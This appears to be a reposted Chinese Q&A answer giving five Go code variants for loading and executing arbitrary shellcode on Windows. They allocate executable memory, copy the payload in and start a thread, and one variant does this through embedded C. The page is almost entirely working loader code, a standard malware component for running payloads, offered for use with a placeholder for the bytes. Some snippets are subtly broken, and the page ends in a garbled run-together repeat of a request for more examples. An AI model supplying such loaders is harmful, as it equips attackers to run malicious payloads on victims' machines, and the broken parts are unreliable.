以下是加载shellcode的几种不同方式的示例:

  1. 使用syscall.Syscall6加载shellcode:
package main

import (
	"syscall"
	"unsafe"
)

func main() {
	shellcode := []byte(<shellcode>)
	allocatedMemory, _, _ := syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc").Addr(), 4, 0, uintptr(len(shellcode)), 0x3000, 0x40, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Addr(), 3, allocatedMemory, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
}
  1. 使用reflect.Value.Call加载shellcode:
package main

import (
	"reflect"
	"syscall"
	"unsafe"
)

func main() {
	shellcode := []byte(<shellcode>)
	virtualAlloc := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc")
	rtlMoveMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory")
	createThread := syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread")

	allocatedMemory := reflect.ValueOf(virtualAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40, 0, 0)[0])
	rtlMoveMemory.Call(allocatedMemory.Interface(), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	createThread.Call(0, 0, allocatedMemory.Interface(), 0, 0, 0)
}
  1. 使用unsafe.Pointer加载shellcode:
package main

import (
	"syscall"
	"unsafe"
)

func main() {
	shellcode := []byte(<shellcode>)
	allocatedMemory, _, _ := syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc").Addr(), 4, 0, uintptr(len(shellcode)), 0x3000, 0x40, 0, 0)
	shellcodePointer := unsafe.Pointer(&shellcode[0])
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Addr(), 3, allocatedMemory, uintptr(shellcodePointer), uintptr(len(shellcode)), 0, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
}
  1. 使用unsafe.Unsafe加载shellcode:
package main

import (
	"syscall"
	"unsafe"
)

func main() {
	shellcode := []byte(<shellcode>)
	allocatedMemory, _, _ := syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc").Addr(), 4, 0, uintptr(len(shellcode)), 0x3000, 0x40, 0, 0)
	shellcodePointer := unsafe.Pointer(&shellcode[0])
	unsafe.Slice((*byte)(allocatedMemory), len(shellcode)).Copy(shellcodePointer, len(shellcode))
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
}
  1. 使用C语言加载shellcode:
package main

// #include <stdlib.h>
// #include <Windows.h>
//
// void executeShellcode()
// {
//     unsigned char shellcode[] = <shellcode>;
//     void* allocatedMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//     memcpy(allocatedMemory, shellcode, sizeof(shellcode));
//     ((void(*)())allocatedMemory)();
// }
import "C"

func main() {
	C.executeShellcode()
}

请注意,上述示例中的<shellcode>应替换为实际的shellcode字节码

有其他不同加载shellcode类型的例子举例再举例五个package mainimport 	syscall	unsafefunc main 	shellcode = byteshellcode	allocatedMemory _ _ = syscallSyscall6syscallNewLazyDLLkernel32dllNewProcVirtualAllocAddr 4 0 uintptrl

原文地址: https://www.cveoy.top/t/topic/hN42 著作权归作者所有。请勿转载和采集!

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